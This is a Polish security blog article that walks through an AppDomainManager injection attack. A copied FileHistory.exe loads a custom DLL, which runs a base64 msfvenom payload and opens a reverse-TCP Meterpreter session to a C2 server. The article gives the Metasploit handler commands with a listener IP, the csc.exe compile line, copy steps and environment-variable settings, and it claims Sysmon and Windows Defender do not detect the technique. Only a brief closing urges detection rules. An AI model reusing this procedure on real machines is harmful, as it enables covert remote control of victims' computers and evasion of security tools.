Na Kapitanie Hack’u często opisujemy egzotyczne metody, które mogą służyć cyberprzestępcom do uruchomienia na komputerze ładunku (payload) w celu nawiązania połączenia z serwerami C2. Poświeciliśmy temu nawet cały artykuł tutaj. W dzisiejszym artykule opiszemy nowy, kolejny sposób odkryty przez badacza bezpieczeństwa Casey Smith’a wykorzystujący podatność w aplikacjach .Net umożliwiającą wykonanie kodu payload z własnej, podpiętej w pamięci komputera do procesu aplikacji biblioteki DLL. Pokażemy na przykładzie legalnego, wbudowanego w Windows narzędzia „FileHistory.exe” jak przeprowadzić scenariusz uruchomienia ładunku na Windows 10 (w najnowsza wersja 2004) i połączymy się z serwerem zdalnej kontroli C2 używając odwrotnego połączenia TCP.
Do czego służy narzędzie FileHistory.exe?
Narzędzie FileHistory.exe to legalny program w Windows napisany w technologii .Net służący do backupu plików. Dostępny jest od wersji Windows 8.1 i domyślnie nie jest skonfigurowane. File History, jak wskazuje sama nazwa to narzędzie do tworzenia historii plików. Tworzy kopie zapasowe dla obiektów znajdujących się w folderach Dokumenty, Muzyka, Obrazy, Wideo i Pulpit oraz plików OneDrive dostępnych w trybie offline na komputerze. Jeśli w polu wyszukaj W Windows albo uruchom wpiszemy „File History” i wciśniemy klawisz Enter pojawi nam się następujące okno.
Na powyższym ekranie uruchomione narzędzie File History oraz informację, że na naszym systemie Windows 10 (2004) opcje narzędzia nie są skonfigurowana.
W jaki sposób można użyć narzędzie FileHistory.exe do uruchomiania ładunku malware?
Pierwszą i najważniejszą informacją jest, że nie musimy konfigurować ustawień „File History”, abyśmy mogli uruchomić payload. Drugą jest to, że narzędzie jest napisane w technologii .NET (platforma Microsoft .NET), która jest intensywnie wykorzystywana przez podmioty zajmujące się zagrożeniami oraz zespoły RedTeam do unikania wykrycia przez ”radary” systemów bezpieczeństwa. Metoda opisana poniżej wykorzystuje cechę, którą posiada każda aplikacja napisana w .Net czyli domeny aplikacji.
ApplicationDomains tworzy furtkę dla cyberprzestępców
Domeny aplikacji określają jakie zestawy (ang. assemblies) są bezpiecznie ładowane podczas uruchomienia aplikacji. W kodzie odpowiada za to klasa obiektu AppDomainManager, która może służyć do tworzenia nowych ApplicationDomains (domen aplikacyjnych) w procesie .NET. Możliwość ta stwarza nowe pole działania dla cyberprzestępców lub zespołów RedTeam, ponieważ pozwala na wstrzyknięcie do pliku binarnego .NET niestandardowej domeny ApplicationDomain, która uruchomi dowolny kod wewnątrz procesu.
Metoda ta oferuje jeszcze jedną zaletę – uniknięcia wykrycia przez narzedzie Sysmon oraz inne narzędza bezpieczeństwa, które mogą identyfikować zdarzenia ImageLoad.
Technika wymaga wykonania następujących elementów:
- Zakodowanego ładunku w Base64 – użyjemy do tego wygenerowania narzędzia msfvenom
- Biblioteki DLL – utworzymy ją kompilując na komputerze Windows 10 plik w C# zawierający ładunek z punktu 1, przy użyciu wbudowanego programu „csc.exe”
- Pliku binarnego napisanego w technologii .Net – w naszym przypadku użyjemy wbudowanego w Windows narzędzia „FileHistory.exe” znajdującego się w katalogu „C:\Windows\System32”. Może to być każde inne narzędzie w .NET
- Wprowadzenia do zmiennych środowiskowych trzech parametrów
- Uruchomienia pliku binarnego .Net – w naszym przypadku będzie to plik FileHistory.exe
Zatem na podstawie powyższego spisu wszystko czego potrzebujemy, to przekopiowania na komputer ofiary pliku C# zawierającego nasz ładunek w base64, kompilacji biblioteki i uruchomienia.
UWAGA! Wszystkie testy wykonaliśmy na najnowszym Windows 10 z włączonym Windows Defender oraz na zwykłych uprawnieniach użytkownika.
Scenariusz uruchomienia payload i połączenia z serwerem C2
W celu wykonania takiego połączenia wykonamy kilka poniższych kroków.
Krok1. Wygenerowanie zakodowanego ładunku
Pierwszą rzeczą, jaką wykonamy to zakodowanie ładunku w Base64. Poniższe polecenie wygeneruje surowy ładunek w architekturze x64, który można przekonwertować na base64 za pomocą narzędzia, które jest częścią Kali Linux.
cat payload64.bin | base64 -I
Krok 2. Przygotowanie nasłuchu połączenia odwrotnego TCP na serwerze C2
Drugą rzeczą jaką musimy przygotować to skonfigurowanie serwera C2 do nasłuchu na określonym porcie (w naszym przypadku 443) wszystkich połączeń/sesji od naszego kodu powłoki (ładunku), który zostanie uruchomiony na komputerze ofiary. Komunikacja będzie działała po połączeniu odwrotnym TCP, więc wystarczy, że wskażemy na sztywno adres IP serwera oraz port.
W tym celu posłużymy się modułem „multi/handler” w Metasploit, który przechwyci sesję po wykonaniu kodu powłoki w systemie docelowym.
Komendy jakie musimy wprowadzić to:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LPORT 443
set LHOST 172.16.215.129
exploit
Krok 3. Dostarczenie ładunku i kompilacja kodu na Windows
Jeśli posiadamy ładunek zakodowany w Base64 oraz skonfigurowany nasłuch na połączenie odwrotne TCP na serwerze C2, to w kolejnym kroku musimy w jakiś sposób dostarczyć ładunek i uruchomić na komputerze ofiary. Sposobów na dostarczenie jest wiele i nie będziemy ich w tym momencie opisywać. Dodamy tylko, że atakujący mogą także wykorzystać w tym kroku technikę zdalnej eksploatacji systemów, która może im w znaczącym stopniu pomóc osiągnąć realizowany cel.
W tym kroku zbudujemy prosty kod pliku w C# i skompilujemy go wraz z ładunkiem do biblioteki DLL, którą wykorzystamy w kolejnym kroku do uruchomienia w niej ładunku.
Nasz poniższy plik w C# używa klasy AppDomainManager w celu utworzenia nowej domeny AppDomain, która posłuży jedynie do uruchomienia na pulpicie użytkownika okna z prostym komunikatem. Następnie funkcja VirtualAlloc() przydzieli segment w pamięci procesu, a CreateThread() wykona kod w wirtualnej przestrzeni adresowej procesu.
Powyższy plik z przekopiowanym payload w zaznaczonym na czerwono polu zapisaliśmy jako „kapitanhack.cs”.
Teraz możemy go przekonwertować na plik DLL za pomocą zaufanego pliku binarnego Windows – „csc.exe”, który jest częścią środowiska Microsoft .NET i który jest często używany przez cyberprzestępców do kompilacji kodu na komputerach nieposiadających Visual Studio. Niestety w większości środowisk IT istnieje możliwość, że użycie „csc.exe” jest blokowane/monitorowane, dlatego taką kompilację możemy wykonać na innym komputerze i wgrać na komputer ofiary DLL, którego i tak nie powinien wykryć antywirus.
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /target:library /out:kapitanhack.dll kapitanhack.cs
W wyniku powyższego polecenia skompilujemy plik „kapitanhack.cs” do pliku „kapitanhack.dll”
Krok 4. Skopiowanie pliku FileHistory.exe. do katalogu temp
Przygotowaliśmy (skompilowaliśmy) nasz ładunek w pliku „kapitanhack.dll” i umieściliśmy go w katalogu C:\Temp. W celu uruchomienia payload potrzebujemy przekopiować jeszcze plik „FileHistory.exe” z lokalizacji „C:\Windows\System32” do naszego katalogu, gdzie przechowujemy bibbliotekę DLL oraz wykonać odpowiednie ustawienia zmiennych w systemie (poniższy krok).
Kopiowanie pliku „FileHistory.exe” możemy wykonać komenda „copy”:
copy C:\Windows\System32\FileHistory.exe c:\Temp
Krok 5. Skonfigurowanie odpowiednych zmiennych w systemie
Domyślne ustawienia AppDomainManager’a należy zastąpić nazwą naszego zestawu (assembly) i typem, który zdefiniowaliśmy w bibliotece DLL tworząc niestandardową klasę MyAppDomainManager.
Poniższe parametry wprowadzamy w wiersza linii poleceń:
set APPDOMAIN_MANAGER_ASM=kapitanhack, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
set APPDOMAIN_MANAGER_TYPE=MyAppDomainManager
set COMPLUS_Version=v4.0.30319
Jest jeszcze drugi sposób bez konieczności tworzenia powyższych zmiennych „set”. Można w tym samym katalogu, w którym jest nasza biblioteka „kapitanhack.dll” oraz plik „FileHistory.exe” utworzyć plik konfiguracyjny o nazwie „FileHistory.exe.config” z następującą zawartością:
Krok 6. Uruchomienie ładunku na komputerze ofiary
W tym kroku możemy uruchomić narzędzie FileHistory.exe, które przekopiowaliśmy do katalogu c:\temp.
Po uruchomieniu „File History.exe” zobaczymy na ekranie pulpitu nasz komunikat i po naciśnięciu Ok na serwerze C2 pojawi nam się połączenie z komputerem ofiary.
Gdy okno komunikatu zostanie zamknięte, ładunek base64 zostanie wykonany w przestrzeni pamięci pliku binarnego .NET i zostanie ustanowiona sesja z programem Meterpreter lub jakąkolwiek inną strukturą Command and Control (C2). Od tej pory mamy stałe zdalne połączenie do komputera z serwera C2 i możemy na nim wykonywać polecenia:
Czy jest się czego bać?
Powyższy przypadek nie jest wykrywany przez reguły monitorowania narzędzia SYSMON (te o identyfikatorze ID 7, odpowiadającego za ładowanie ImageLoad) oraz antywirusa wbudowanego w Windows – Windows Defender. Nie testowaliśmy prób wykrycia tego przypadku na rozwiązaniach Antywirus/EDR innych firm, ale spodziewamy się, że wyniki mogą być podobne. Po stronie systemu operacyjnego sprawdziliśmy w narzędziu Process Hacker biblioteki „.NetAssemblies” jakie są załadowane do pamięci. Nasza biblioteka jest na liście.
Lecz i w tym przypadku istnieje dodatkowy sposób na ukrywanie pojawiania się bibliotek na liście, w celu ich zamaskowania w systemie. Postanowiliśmy już nie brnąć dalej w naszym artykule, ale opis jak to wykonać znajduje się w tym artykule – link.
Podsumowanie
Opisywany przypadek pokazuje nowe zagrożenie w środowisku Microsoft, na które powinniśmy zwrócić szczególna uwagę oraz uzbroić systemy do monitorowania i bezpieczeństwa w odpowiednie reguły. Jest o tyle interesujący, ponieważ aplikacje napisane w .Net stanowią dużą cześć kodu na Windows. Przedstawiając scenariusz komunikacji z C2 posłużyliśmy się wbudowanym narzędziem „FileHistory.exe”, ale równie dobrze moglibyśmy użyć każde inny plik w .Net.
Zachęcamy do udostępniania i komentowania artykułu na Facebook oraz na LinkedIn.